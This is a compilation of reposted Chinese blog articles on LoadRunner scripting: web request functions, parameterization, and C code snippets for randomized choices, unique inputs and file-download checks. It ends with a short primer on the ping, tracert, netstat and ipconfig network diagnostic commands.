所有的请求体都是ASCII字符,以null结束。

Body:表示规则的,可打印的字符串。无法表示空字节。所有的字符都以一个反斜杠表示。注意:在旧的脚本中,可以看见不可打印的字符在请求体中以16进制方式进行编码。(例如 “\\x5c”),在这种情况下,必须使用“Binary=1”来标识。空字节使用"\\00"来表示。 相反,新脚本则会把把请求体分开放在不同的参数中("Body=...", "BodyBinary=...", Body=...")。

BodyBinary :表示二进制代码。不可打印的字符在请求体中以16进制方式\\xHH进行编码。在这里HH 表示十六进制值。空字节使用"\\00"来表示。

BodyUnicode:美国英语, 特指拉丁 UTF-16LE(little-endian)编码。这种编码方式会在在每个字符末尾附加一个0字节,以便使字符更可读。但是在VuGen中实际的参数把所有的0字节都去掉的。但是在发送给Web 服务器之前, web_custom_request函数会重新添加0字节的。对于不可打印的字符,使用单反斜杠表示,无法表示空字节。

注意:如果请求体大于100K,会使用一个变量来代替Body参数。变量是在 lrw_custom_body.h中定义的。

Raw Body(目前仅适用与web_custom_request函数):请求体是作为指针传递的,此指针指向一串数据。 二进制的请求体可以使用BodyBinary 属性来发送(或者使用Body 属性来传递,前提是必须设置"Binary=1" )。无论如何,这种方法需要使用转义字符反斜杠把不可打印的字符转换为ASCII字符。为了能有一种更简便的表现原始数据的方式,Raw Body属性应运而生,可以传递指向二进制数据的指针。

使用4个连续的参数集来表示指针,而且必须按照顺序排列:

RAW_BODY_START

指向数据缓冲区的指针

(int) 长度

RAW_BODY_END

例子:

char *abc= .../* a pointer to the raw data */

web_custom_request("StepName",

"URL=http://some.url ",

"Method=POST",

RAW_BODY_START,

"abc",

3,

RAW_BODY_END,

LAST);

在应用中,即使设置了数据的长度为0,指针也必须有值,不能为空。

在“Binary=1”时,不能使用上面的语法传递原始数据。

数据缓冲区中的数据不能使用参数化。也就时说,缓冲区中的任何参数(例如 "{MyParam}")不能被正确的替代为相应的值,只会以字面值发送。

List of Resource Attributes

 Web页面中的非HTML机制产生了资源列表,包含了Javascript, ActiveX, Java applets and Flash所请求的资源。VuGen's 的Recording 选项中,可以设置把这些资源录制在当前的操作中(默认是此设置)还是作为单独的步骤来录制。

支持以下资源:

URL
 要加载的web资源的url。

 Referer
 关联的url。

 ENDITEM
 每个资源的结束标记

相对于把每个资源都录制为单独的步骤来说,不录制非HTML元素使脚本更加简短和可读,特别是在VuGen的Tree视图下更为突出。

当VuGen录制过程中发现附加的资源(比如JS)时,会以列表的形式加到附加资源项中。回放脚本时,这些资源文件也是请求的一部分。可以对一些按规则变化的资源使用关联。
转自:http://www.cnblogs.com/junzhongxu/

LoadRunner函数中文翻译系列之二

web_submmit_form

 语法:
 Int web_submit_form (const char *StepName, ,

LoadRunner函数中文翻译系列之一

web_url

 语法:
 Int Web_url(const char *name, const char * url, , [EXTRARES,,LAST)

返回值
 成功时返回LR_PASS (0),失败时返回 LR_FAIL (1)。

参数:
 Name:VuGen中树形视图中显示的名称,在自动事务处理中也可以用做事务的名称。

url:页面url地址。

List of Attributes

EXTRARES:分隔符,标记下一个参数是资源属性的列表了。

List of Resource Attributes

LAST:属性列表结束的标记符。

说明
 Web_url根据函数中的URL属性加载对应的URL,不需要上下文。

只有VuGen处于URL-based或者HTML-based(此时A script containing explicit URLs only选项被选中时)的录制模式时,web_url才会被录制到。

可以使用web_url 模拟从FTP服务器上下载文件。web_url 函数会使FTP服务器执行文件被真实下载时的操作。除非手工指定了"FtpAscii=1",下载会以二进制模式完成。

在录制选项中,Toos—Recording Option下,Recording选项中,有一个Advanced HTML选项,可以设置是否录制非HTML资源,只有选择了“Record within the current script step”时,List of Resource Attributes才会被录制到。非HTML资源的例子是gif和jpg图象文件。

通过修改HTTP头可以传递给服务器一些附加的请求信息。使用HTTP头允许请求中包含其他的内容类型(Content_type),象压缩文件一样。还可以只请求特定状态下的web页面。

所有的Web Vusers ,HTTP模式下的WAP Vusers或者回放模式下的Wireless Session Protocol(WSP),都支持web_url函数。

web_image

 语法:
 Int web_image (const char *StepName, , [EXTRARES, ,] LAST );

返回值
 成功时返回LR_PASS (0),失败时返回 LR_FAIL (1)。

参数:
 StepName:VuGen中树形视图中显示的名称,在自动事务处理中也可以用做事务的名称。

List of Attributes(服务器端和客户端映射的图片):SRC属性是一定会被录制到的,其他的ALT、Frame、TargetFrame、Ordinal则是有的话会被录制到。

1、ALT:描述图象的元素。用鼠标指向图象时,所浮出来的文字提示。

2、SRC:描述图象的元素,可以是图象的文件名. 如: button.gif。也可以使用SRC/SFX来指定图象路径的后缀。所有拥有相同此后缀的字符串都会被匹配到。

3、Frame:录制操作时所在的Frame的名称。

4、TargetFrame:见List of Attributes的同名参数。

5、Ordinal:参见Web_link的同名参数。

List of Attributes(客户端映射的图片):

1、AreaAlt:鼠标单击区域的ALT属性。

2、AreaOrdinal:鼠标单击区域的顺序号。

3、MapName:图象的映射名。

List of Attributes(服务器端映射的图片):尽管点击坐标不属于属性,但还是以属性的格式来使用。

1、Xcoord:点击图象时的X坐标。

2、Ycoord:点击图象时的Y坐标。

EXTRARES:分隔符,标记下一个参数是资源属性的列表了。

List of Resource Attributes:参见List of Resource Attributes一节。

LAST:属性列表结束的标记符。

说明
web_image模拟鼠标在指定图片上的单击动作。此函数必须在有前置操作的上下文中使用。

在Toos—Recording Option,如果录制级别设为基于HMTL的录制方式时,web_image才会被录制到。

web_image支持客户端(client-side)和服务器端server-side的图片映射。

在录制选项中,Toos—Recording Option下,Recording选项中,有一个Advanced HTML选项,可以设置是否录制非HTML资源,只有选择了“Record within the current script step”时,List of Resource Attributes才会被录制到。非HTML资源的例子是gif和jpg图象文件。

通过修改HTTP头可以传递给服务器一些请求附加信息。使用HTTP头允许请求中包含内容,如同压缩文件一样。还可以只请求特定状态的web页面。

web_image支持Web虚拟用户,不支持WAP虚拟用户。

例子
 下面的例子模拟用户单击Home图标以回到主页(黑体部分):

web_url("my_home", "URL=http://my_home/", LAST);

web_link("Employees", "Text=Employees", LAST);

web_image("Home.gif", "SRC=../gifs/Buttons/Home.gif", LAST);

web_link("Library", "Text=Library", LAST);

web_image("Home.gif", "SRC=http://www.cnblogs.com/gifs/buttons/Home.gif", LAST);

下面的例子模拟用户在客户端映射的图片上单击:

web_image("dpt_house.gif",

"Src=../gifs/dpt_house.gif",

"MapName=dpt_house",

"AreaOrdinal=4",

LAST);

下面的例子模拟用户在服务端映射的图片上单击:

web_image("The Web Developer's Virtual Library",

"Alt=The Web Developer's Virtual Library",

"Ordinal=1",

"XCoord=91",

"YCoord=17",

LAST);

下面是一个使用文件名后缀的例子:它指定了dpt_house.gif作为后缀,所以象../gifs/dpt_house.gif、/gifs/dpt_house.gif、gifs/dpt_house.gif、/dpt_house.gif等都会匹配到。

web_image("dpt_house.gif","Src/sfx=dpt_house.gif", LAST);

web_link
 语法:
 Int web_link (const char *StepName, , [EXTRARES, ,] LAST );

返回值
 成功时返回LR_PASS (0),失败时返回 LR_FAIL (1)。

参数:
 StepName:VuGen中树形视图中显示的名称,在自动事务设置中也被用做事务名称。

List of Attributes:支持下列的属性:

1. Text:超链接中的文字,必须精确匹配。

2. Frame:录制操作时所在的Frame的名称。

3. TargetFrame、ResourceByteLimit:见List of Attributes一节。

4. Ordinal:如果用给出的属性(Attributes)筛选出的元素不唯一,那么VuGen使用此属性来指定其中的一个。例如:“SRC=abc.gif”,“Ordinal=3”标记的是SRC的值是“abc.gif”的第3张图片。

EXTRARES:表明下面的参数将会是list of resource attributes了。

LAST:结尾标示符。

说明
 模拟鼠标在由若干个属性集合描述的链接上进行单击。此函数必须在前置动作的上下文中才可以执行。

web_link 仅仅在基于HTML的录制方式中才会被VuGen捕捉到。

非HTML生成的资源的例子有.gif 和.jpg图像。对于List of Resource Attributes参数来说,仅仅当Recording Options--Recording --HTML-based script-- Record within the current script step选项被选中时,它们才会被插入到代码中。

可以通过改变HTTP头信息给服务器传递一些附加信息。使用HTTP头信息可以,允许响应体中包含其他的内容类型(Content-Type),例如压缩文件,或者只有满足了特定的状态才去请求web页。

此函数值支持Web虚拟用户,不支持WAP虚拟用户。
转自:http://www.cnblogs.com/junzhongxu/

Loadrunner 参数 使用小结

在做负载或者压力测试时,很多人选择使用了Loadrunner测试工具。该工具的基本流程是先将用户的实际操作录制成脚本,然后产生数千个虚拟用户运行脚本(虚拟用户可以分布在局域网中不同的PC机上),最后生成相关的报告以及分析图。但是在录制脚本的过程中会遇到很多实际的问题,比如不同的用户有不同的使用数据,这就牵涉到参数的设置问题。本文就Loadrunner中参数的设置进行说明,希望对大家有所帮助。
录制程序运行的过程中,VuGen(脚本生成器) 自动生成了包含录制过程中实际用到的数值的脚本。如果你企图在录制的脚本中使用不同的数值执行脚本的活动(如查询、提交等等),那么你必须用参数值取代录制的数值。这个过程称为参数化脚本。
本文主要包括如下内容:理解参数的局限性、建立参数、定义参数的属性、理解参数的类型、为局部数据类型设置参数的属性、为数据文件设置参数的属性、从已经存在的数据库中引入数据。
除了GUI,以下的内容适合于各种类型的用户脚本。
一、关于参数的定义
在你录制程序运行的过程中,脚本生成器自动生成由函数组成的用户脚本。函数中参数的值就是在录制过程中输入的实际值。
例如,你录制了一个Web应用程序的脚本。脚本生成器生成了一个声明,该声明搜索名称为“UNIX”的图书的数据库。
当你用多个虚拟用户和迭代回放脚本时,也许你不想重复使用相同的值“UNIX”。那么,你就可以用参数来取代这个常量。
结果就是你可以用指定的数据源的数值来取代参数值。数据源可以是一个文件,也可以是内部产生的变量。
用参数表示用户的脚本有两个优点:
① 可以使脚本的长度变短。
② 可以使用不同的数值来测试你的脚本。例如,如果你企图搜索不同名称的图书,你仅仅需要写提交函数一次。在回放的过程中,你可以使用不同的参数值,而不只搜索一个特定名称的值。
参数化包含以下两项任务:
① 在脚本中用参数取代常量值。
② 设置参数的属性以及数据源。
参数化仅可以用于一个函数中的参量。你不能用参数表示非函数参数的字符串。
另外,不是所有的函数都可以参数化的。
二、参数的创建
可以指定名称和类型来创建参数。不存在对脚本中参数个数的限制。
在Web程序的用户脚本中,你可以使用如下过程在基于文本的脚本视图中创建参数。或者,也可以在基于图标的树形视图中创建参数。
要创建一个参数:
1、 将光标定位在要参数化的字符上,点击右键。打开弹出菜单。
2、 在弹出菜单中,选择“Replace with a Parameter”。选择或者创建参数的对话框弹出。
3、 在“Parameter name”中输入参数的名称,或者选择一个在参数列表中已经存在的参数。
4、 在“Parameter type”下拉列表中选择参数类型。
5、 点击“OK”,关闭该对话框。脚本生成器便会用参数中的值来取代脚本中被参数化的字符,参数用一对“{}”括住。
注意:在参数化CORBA或者General-Java 用户脚本的时候,必须参数化整个字符串,而不是其中的部分。
另外注意:除了Web或者WAP,缺省的参数括号对于任何脚本都是 “{}”。你可以在“General Options”对话框中的“Parameterization”标签(Tools>General Options)中定义参数括号种类。
6、 用同样的参数替换字符的其余情况,选中参数,点击右键,弹出菜单。从弹出的菜单中,选择“Replace More Occurrences”。搜索和替换对话框弹出。
“Find What”中显示了你企图替换的值。“Replace With”中显示了括号中参数的名称。
选择适当的检验框来匹配整个字符或者大小写。如果要搜索规则的表达式(.,!,?等等),选中“Regular Expression”检验框,然后点击“Replace”或者“Replace All”。
注意:小心使用“Replace All”,尤其替换数字字符串的时候。脚本生成器将会替换字符出现的所有情况。
7、 如果想用以前定义过的参数来替换常量字符串的话,选中该字符串,点击右键,然后选择“Use Existing Parameter”,子菜单“Use Existing Parameters”弹出。
从子菜单“Use Existing Parameters”选择参数,或者用“Select from Parameter List”来打开参数列表对话框。
注意:如果用以前定义过的参数来替换常量字符串的话,那么,使用“Parameter List”非常方便。同时,还可以查看和修改该参数的属性。
8、 对于已经用参数替换过的地方,如果想取回原来的值,那么,就在参数上点击右键,然后选择“Restore Original Value”。
在Web用户脚本的树形视图中创建参数
在Web用户脚本的树形视图中创建一个参数的步骤
1、将光标定位在企图参数化的地方,点击右键,从弹出的菜单中选择“Properties”。则相关的属性对话框打开。
2、点击在要参数化的参量的旁边的“ABC”形状的图标。“Select or Create Parameter”对话框打开。
3、在“Parameter name”中输入参数的名称,或者从列表中选择一个已经存在的参数。
4、在“Parameter type”中输入参数的类型。
5、点击“OK”关闭该对话框。用户脚本生成器会用参数来替换最初的字符串常量,并用一个表格形状的图标替换“ABC”形状的图标。
6、要恢复参数化以前的值,点击图标,然后从弹出的菜单中选择“Undo Parameter”,则以前的值便会重现。
三、定义参数的属性
创建参数完成后,就可以定义其属性了。参数的属性定义就是定义在脚本执行过程中,参数使用的数据源。
在Web用户脚本中,你既可以在基于文本的脚本视图中定义参数属性,也可以在基于图标的树形视图中定义参数属性。下面的过程将教你如何在基于本文的脚本视图中定义参数属性。
定义参数属性步骤:
1、 在参数上点击右键,有菜单弹出。
2、 在弹出的菜单中,选择“Parameter Properties”。参数属性对话框打开,显示和当前参数类型相关的属性。
3、 输入参数的属性值。
4、 点击“Close”关闭参数属性对话框。
在Web用户脚本的树形视图中定义参数的属性
1、 将关标定位在参数上,然后点击右键,选择“Properties”。属性对话框打开。
2、 点击要定义属性的参数旁边的表格形状按钮,点击右键,选择“Parameter Properties”。参数属性对话框打开,和参数类型相关的属性显示出来。
3、 输入参数的属性。
4、 点击“Close”关闭参数属性对话框。
使用参数列表
使用参数列表可以在任意时刻查看所有的参数,创建新的参数、删除参数,或者修改已经存在参数的属性。
要使用参数列表:
1、 点击参数列表按钮或者用“Vuser>Parameter List”。参数列表对话框打开。
2、 要创建新的参数,点击“New”按钮。新的参数则被添加在参数树中,该参数有一个临时的名字,你可以给它重新命名,然后回车。
注意:不要将一个参数命名为“unique”,因为这个名称是用户脚本生成器本身的。
设置参数的类型和属性,点击“OK”,关闭参数列表对话框。
注意:用户脚本生成器创建新的参数,但是不会自动用该参数在脚本中替换任意选中的字符串。
3、 要删除已有的参数,那么,要先从参数树中选择该参数,点击“Delete”,然后确认你的行为即可。
4、 要修改已有参数,那么,要先从参数树中选择该参数,然后编辑参数的类型和属性。
四、理解参数的类型
在你定义参数属性的时候,要指定参数值的数据源。你可以指定下列数据源类型的任何一种:
Internal Data 虚拟用户内部产生的数据。
Data Files 存在于文件中的数据。可能是已存在的文件或者是用脚本生成器新创建的。
User-Defined Functions 调用外部DLL函数生成的数据
Internal Data包括以下几种:
1. Date/Time
Date/Time用当前的日期/时间替换参数。要指定一个Date/Time格式,你可以从菜单列表中选择格式,或者指定你自己的格式。这个格式应该和你脚本中录制的Date/Time格式保持一致。
2. Group Name
Group Name 用虚拟用户组名称替换参数。在创建scenario的时候,你可以指定虚拟用户组的名称。当从用户脚本生成器运行脚本的时候,虚拟用户组名称总是None。
3. Load Generator Name
Load Generator Name用脚本负载生成器的名称替换参数。负载生成器是虚拟用户在运行的计算机。
4. Iteration Number
Iteration Number用当前的迭代数目替换参数。
5. Random Number
Random Number用一个随机数替换参数。通过指定最大值和最小值来设置随机数的范围。
6. Unique Number
Unique Number用一个唯一的数字来替换参数。你可以指定一个起始数字和一个块的大小。
7. Vuser ID
Vuser ID用分配给虚拟用户的ID替换参数,ID是由Loadrunner的控制器在scenario运行时生成的。如果你从脚本生成器运行脚本的话,虚拟用户的ID总是-1。
五、数据文件
数据文件包含着脚本执行过程中虚拟用户访问的数据。局部和全局文件中都可以存储数据。可以指定现有的ASCII文件、用脚本生成器创建一个新的文件或者引入一个数据库。在参数有很多已知值的时候数据文件非常有用。
数据文件中的数据是以表的形式存储的。一个文件中可以包含很多参数值。每一列包含一个参数的数据。列之间用分隔符隔开,比如说,用逗号。
对数据文件设置参数属性
如果使用文件作为参数的数据源,必须指定以下内容:
1. 文件的名称和位置
2. 包含数据的列
3. 文件格式,包括列的分隔符
4. 更新方法
如果参数的类型是“File”,打开参数属性(Parameter Properties)对话框,设置文件属性如下:
1. 在“File path”中输入文件的位置,或者点击“Browse”指定一个已有文件的位置。缺省情况下,所有新的数据文件名都是“parameter_name.dat”,注意,已有的数据文件的后缀必须是.dat。
2. 点击“Edit”。记事本打开,里面第一行是参数的名称,第二行是参数的初始值。使用诸如逗号之类的分隔符将列隔开。对于每一新的表行开始一行新的数据。
注意:在没有启动记事本的情况下如果想添加列,就在参数属性对话框中点击“Add Col”,那么“Add new column”对话框就会弹出。输入新列的名称,点击“OK”。脚本生成器就会添加该列到表中,并显示该列的初始值。
3. 在“Select Column”部分,指明包含当前参数数据的列。你可以指定列名或者列号。列号是包含你所需要数据的列的索引。列名显示在每列的第一行(row 0)。
4. 在“Column delimiter”中输入列分隔符,你可以指定逗号、空格符等等。
5. 在“First data line”中,在脚本执行的时候选择第一行数据使用。列标题是第0行。若从列标题后面的第一行开始的话,那就在“First data line”中输入1。如果没有列标题,就输入0。
6. 在“Select next row”中输入更新方法,以说明虚拟用户在脚本执行的过程中如何选择表中的数据。方法可以是:连续的、随机的、唯一的、或者与其它参数表的相同行。
7. 选中“Advance row each iteration”表示虚拟用户在每次迭代都使用新的一行数据而不是所有的迭代都使用相同的数据。
从文件中更新参数值
若使用文件中的数值,脚本生成器会要求你指定给参数分配数值给的方法。可用的方法有:
1. 顺序(Sequential):该方法顺序地给虚拟用户分配参数值。如果正在运行的虚拟用户访问数据表的时候,它会取到下一行中可用的数据。
2. 随机(Random):该方法在每次迭代的时候会从数据表中取随机数
3. 使用种子取随机顺序(Use Random Sequence with Seed):如果从Loadrunner的控制器来运行scenario,你可以指定一个种子数值用于随机顺序。每一个种子数值在测试执行的时候代表了一个随机数的顺序。无论你何时使用这个种子数值,在scenario中同样的数据顺序就被分配给虚拟用户。如果在测试执行的时候发现了一个问题并且企图使用同样的随机数序列来重复测试,那么,你就可以启动这个功能(可选项)。
4. 唯一(Unique):Unique方法分配一个唯一的有顺序的值给每个虚拟用户的参数。
5. 与以前定义的参数取同一行(Same Line As ):该方法从和以前定义过的参数中的同样的一行分配数据。你必须指定包含有该数据的列。在下拉列表中会出现定义过的所有参数列表。注意:至少其中的一个参数必须是Sequential、Random或者Unique。
如果数据表中有三列,三个参数定义在列表中:id1,name1和title1,如下:。
ID Name Title
132 Kim Manager
187 Cassie Engineer
189 Jane VP
对于参数id1,你可以指示虚拟用户使用Random方法,而为参数name1和title1就可以指定方法“Same Line as id1”。所以,一旦ID“132”被使用,那么,姓名(Name)“Kim”和职位(Title)“Manager”同时被使用。
六、从已存在的数据库中导入数据
Loadrunner允许你利用参数化从已经存在的数据库中导入数据。可以使用下列两种方式之一:
1. 使用Microsoft Query(要求在系统上先安装MS Query)。
2. 指定数据库连接字符串和SQL语句。
用户脚本生成器在从数据库中导入数据的过程中提供了一个向导。在向导中,你指明如何导入数据-通过MS Query创建查询语句或者直接书写SQL语句。在导入数据以后,以.dat为后缀并作为正规的参数文件保存。
要开始导入数据库中数据的过程,在参数属性对话框中点击“Data Wizard”,则,数据库查询向导弹出。
要创建新的查询
1. 选择“Create new query”。如果需要MS Query的帮助,选择“Show me how to use Microsoft Query”,然后点击“Finish”。
如果你还没有安装Microsoft Query,Loadrunner会提示你这个功能不可用。在进行之前,从Microsoft Office中安装MS Query。
2. 在Microsoft Query中遵循以下步骤,导入期望的表和列。
3. 在完成数据的导入后,选择“Exit and return to Virtual User Generator”,然后点击“Finish”。在参数属性对话框中数据库记录以data文件的形式显示出来。
要在MS Query中编辑并查看数据,选择“View data or edit in Microsoft Query”。若要结束,则选择“File>Exit and return to Virtual User Generator”返回到脚本生成器。
4. 在“Select Column”部分,指定包含当前参数数据的列可以指定列号或者列名。注意:列标题默认为第0行(row 0)。
5. 从“Select next row”列表中选择一个更新方法来告诉虚拟用户在脚本指定的过程中如何选择表中的数据。可选项是:Sequential、Random、Unique或者Same Line As。其中每一项的含义文章前面已经讲述,就不再赘述。
6. 如果选择“Advance row each iteration”,虚拟用户在每次迭代的时候会使用新的一行的数据而不是重复同样的数据。
要指定数据库连接或者SQL语句
1. 选择“Specify SQL Statement”,然后点击“Next”。
2. 点击“Create”指定一个新的连接字符串。选择数据源的窗口弹出。
3. 选择已有的数据源,或者点击“New”创建一个新的数据源。向导将提示你穿过创建ODBC数据源的过程。在完成后,连接字符串就会在连接字符串框中显示出来。
4. 在SQL框中,输入或者粘贴SQL语句。
5. 点击“Finish”继续SQL语句并导入数据。数据库记录将以data文件的形式显示在参数属性框中。
6. 在“Select Column”部分中,指定包含当前参数数据的列。你可以指定列号或者列名。
7. 从“Select next row”列表中选择一个更新方法来告诉虚拟用户在脚本指定的过程中如何选择表中的数据。可选项是:Sequential、Random、Unique或者Same Line As。
8. 如果选择“Advance row each iteration”,虚拟用户在每次迭代的时候会使用新的一行的数据而不是重复同样的数据。
转自:http://www.cnblogs.com/junzhongxu/

Code Snippets for LoadRunner

1. How to choose the option randomly?
Description:

If one option needs to be chosen randomly in below figure, what can we do in LR?
图略


Solution:

1. Use web_reg_save_param with proper LB, RB and Ord=All to get all options’ value into an array.

2. Get a random value from array.

3. In next web_sumbit_form or web_url use the value.

Code:

Action()

{

//declare variables

int flightCount;

char Flight[100];

//replace with your web_reg_save_param

web_reg_save_param("flightList",

"LB=outboundFlight value=",

"RB=>",

"Ord=All", //Make sure Ord's value is All.

LAST);

//replace with your web submit or web url

web_submit_form("reservations.pl",

"Snapshot=t4.inf",ITEMDATA,

"Name=depart", "Value=Shanghai", ENDITEM,

"Name=arrive", "Value=Beijing", ENDITEM,

LAST);

//get the count of flightList array.

flightCount=atoi( lr_eval_string("{flightList_count}") );

/*save random flight to Flight string.

1 + rand() % flightCount: Generate a Random Number

{flightList_1}: get the first value in flightList

*/

sprintf (Flight,"{flightList_%d}",1 + rand() % flightCount );

//save Flight to String RandFlight

lr_save_string( lr_eval_string (Flight),"RandFlight" );

lr_message( lr_eval_string("{RandFlight}") );

//Use RandFlight in next step

web_submit_form("reservations.pl_2",

"Snapshot=t5.inf",ITEMDATA,

"Name=outboundFlight", "Value={RandFlight}", ENDITEM,

LAST);

return 0;

}

2. How to generate a unique input?
Description:

In the below figure we need to input unique values for the Username. How can we make sure that every username is unique during thousand iterations run?

Solution:

Controller will assign a unique VuserId to every Vuser when we start to run a Vuser. The following is two solutions we can use.

1. VuserId + iteration No

2. VuserId + Current Time (If name will be created twice in one iteration)

Code:

Action()

{

//declare variables

char testname[100];

char *VuserId;

//create a VuserId type parameter named RunningVuserId in Parameter list

VuserId=lr_eval_string("{RunningVuserId}");

//The value saved in ParamTimeStamp is the number of milliseconds since midnight January // 1st, 1970.

web_save_timestamp_param("ParamTimeStamp", LAST);

//Create testname as format: VuserId_ ParamTimeStamp.

strcpy(testname,VuserId);

strcat(testname,"_");

strcat(testname,lr_eval_string("{ParamTimeStamp}"));



lr_save_string(testname,"UniqueTestname");

lr_output_message("the value is %s", lr_eval_string("{UniqueTestname}"));

return 0;

}

3. How to check for download function?
Description:

Sometimes we do stress test that download a file from server. When we record this step, our script will generate web_url when we click download link or button. But when you replay it, this web_url always will pass and no file will actually be downloaded in the controller’s location. We can use web_reg_find to check whether we load page properly. How can we check here?

Solution:

The file won't be downloaded (Physically) to the folder but you can determine whether the request was successful or not by determining the size returned by the request. You can use the function "web_get_int_property" and "HTTP_INFO_DOWNLOAD_SIZE” option in that function to determine the size.

Code:

int flen;

//your web url that download file

// get the download file's size.

flen = web_get_int_property(HTTP_INFO_DOWNLOAD_SIZE);

if(flen > 0)

{

lr_end_transaction("S1_D_download", LR_AUTO);

}

else

{

lr_end_transaction("S1_D_download", LR_FAIL);

}



4. How to save file when you download in LR?
Description:

In case 3, if you also want to save the file to a location, what can be done?

Solution:

We can use web_reg_save_param to save all bytes downloaded from server and then these bytes could be written to a location.

Code:

int flen;

long filedes;

int i;



web_reg_save_param("FILED","LB=","RB=","Search=Body",LAST);

//your web url that download file



// get the download file's size.

flen = web_get_int_property(HTTP_INFO_DOWNLOAD_SIZE);

if(flen > 0)

{

//create a new file. If you run the script in controller, you can use unique //name in Case 2 to generate a unique file.

if((filedes = fopen("c:\\test.xls", "wb")) == NULL)

{

lr_output_message("Open File Failed!");

lr_end_transaction("file_download", LR_FAIL);

}

//write the data which are got from server to the file created in your

// location.

i = fwrite(lr_eval_string("{FILED}"), flen, 1, filedes);

lr_output_message("Successfully wrote %d", i );

lr_end_transaction("file_download", LR_AUTO);

fclose(filedes);

}

else

{

lr_end_transaction("S1_D_download", LR_FAIL);

}

5. How to get a substring in LR?
Description:

If the requirement demands us to parse a string, we can use LR_SAVE_VAR.

Solution: See code

Code:

Action()

{

char *mystr = "I come from Shanghai";

lr_save_var(mystr + 12, 8, 0, "Mycity");

lr_output_message("My city is %s",lr_eval_string("{Mycity}"));

return 0;

}



6. How to reformat date?
Description:

When we get some date, but the format is not our expectation, what can we do?

Solution: See code

Code:



char *ReqDate;

lr_save_string("10/11/2006","MyDate");

lr_save_var(lr_eval_string("{MyDate}"),2,0,"Date");

lr_save_var(lr_eval_string("{MyDate}")+3,2,0,"Month");

lr_save_var(lr_eval_string("{MyDate}")+6,4,0,"Year");

ReqDate = lr_eval_string("{Month}/{Date}/{Year}");

lr_output_message("date is %s",ReqDate);
转自:http://www.cnblogs.com/junzhongxu/

你必须学会的几个常用网络测试命令

如果你是一个网络维护人员,那么肯定要经常处理网络故障,了解和掌握下面几个命令将会有助于您更快地检测到网络故障所在,从而节省时间,提高效率。

  Ping

  Ping是测试网络联接状况以及信息包发送和接收状况非常有用的工具,是网络测试最

  常用的命令。Ping向目标主机(地址)发送一个回送请求数据包,要求目标主机收到请求后给予答复,从而判断网络的响应时间和本机是否与目标主机(地址)联通。

  如果执行Ping不成功,则可以预测故障出现在以下几个方面:网线故障,网络适配器配置不正确,IP地址不正确。如果执行Ping成功而网络仍无法使用,那么问题很可能出在网络系统的软件配置方面,Ping成功只能保证本机与目标主机间存在一条连通的物理路径。

  命令格式:

  ping IP地址或主机名 [-t] [-a] [-n count] [-l size]

  参数含义:

  -t不停地向目标主机发送数据;

  -a 以IP地址格式来显示目标主机的网络地址 ;

  -n count 指定要Ping多少次,具体次数由count来指定 ;

  -l size 指定发送到目标主机的数据包的大小。

  例如当您的机器不能访问Internet,首先您想确认是否是本地局域网的故障。假定局域网的代理服务器IP地址为202.168.0.1,您可以使用Ping避免202.168.0.1命令查看本机是否和代理服务器联通。又如,测试本机的网卡是否正确安装的常用命令是ping 127.0.0.1。

  Tracert

  Tracert命令用来显示数据包到达目标主机所经过的路径,并显示到达每个节点的时间。命令功能同Ping类似,但它所获得的信息要比Ping命令详细得多,它把数据包所走的全部路径、节点的IP以及花费的时间都显示出来。该命令比较适用于大型网络。

  命令格式:

  tracert IP地址或主机名 [-d][-h maximumhops][-j host_list] [-w timeout]

  参数含义:

  -d 不解析目标主机的名字;

  -h maximum_hops 指定搜索到目标地址的最大跳跃数;

  -j host_list 按照主机列表中的地址释放源路由;

  -w timeout 指定超时时间间隔,程序默认的时间单位是毫秒。

  例如大家想要了解自己的计算机与目标主机www.cce.com.cn之间详细的传输路径信息,可以在MS-DOS方式输入tracertwww.cce.com.cn。

  如果我们在Tracert命令后面加上一些参数,还可以检测到其他更详细的信息,例如使用参数-d,可以指定程序在跟踪主机的路径信息时,同时也解析目标主机的域名。

  Netstat

  Netstat命令可以帮助网络管理员了解网络的整体使用情况。它可以显示当前正在活动的网络连接的详细信息,例如显示网络连接、路由表和网络接口信息,可以统计目前总共有哪些网络连接正在运行。

  利用命令参数,命令可以显示所有协议的使用状态,这些协议包括TCP协议、UDP协议以及IP协议等,另外还可以选择特定的协议并查看其具体信息,还能显示所有主机的端口号以及当前主机的详细路由信息。

  命令格式:

  netstat [-r] [-s] [-n] [-a]

  参数含义:

  -r 显示本机路由表的内容;

  -s 显示每个协议的使用状态(包括TCP协议、UDP协议、IP协议);

  -n 以数字表格形式显示地址和端口;

  -a 显示所有主机的端口号。

  ipconfig

  ipconfig命令以窗口的形式显示IP协议的具体配置信息,命令可以显示网络适配器的物理地址、主机的IP地址、子网掩码以及默认网关等,还可以查看主机名、DNS服务器、节点类型等相关信息。其中网络适配器的物理地址在检测网络错误时非常有用。

  命令格式:

  ipconfig[/?] [/all]

  参数含义:

  /all 显示所有的有关IP地址的配置信息;

  /batch [file] 将命令结果写入指定文件;

  /renew_ all 重试所有网络适配器;

  /release_all 释放所有网络适配器;

  /renew N 复位网络适配器 N;

  /release N 释放网络适配器 N。
转自:http://www.cnblogs.com/junzhongxu/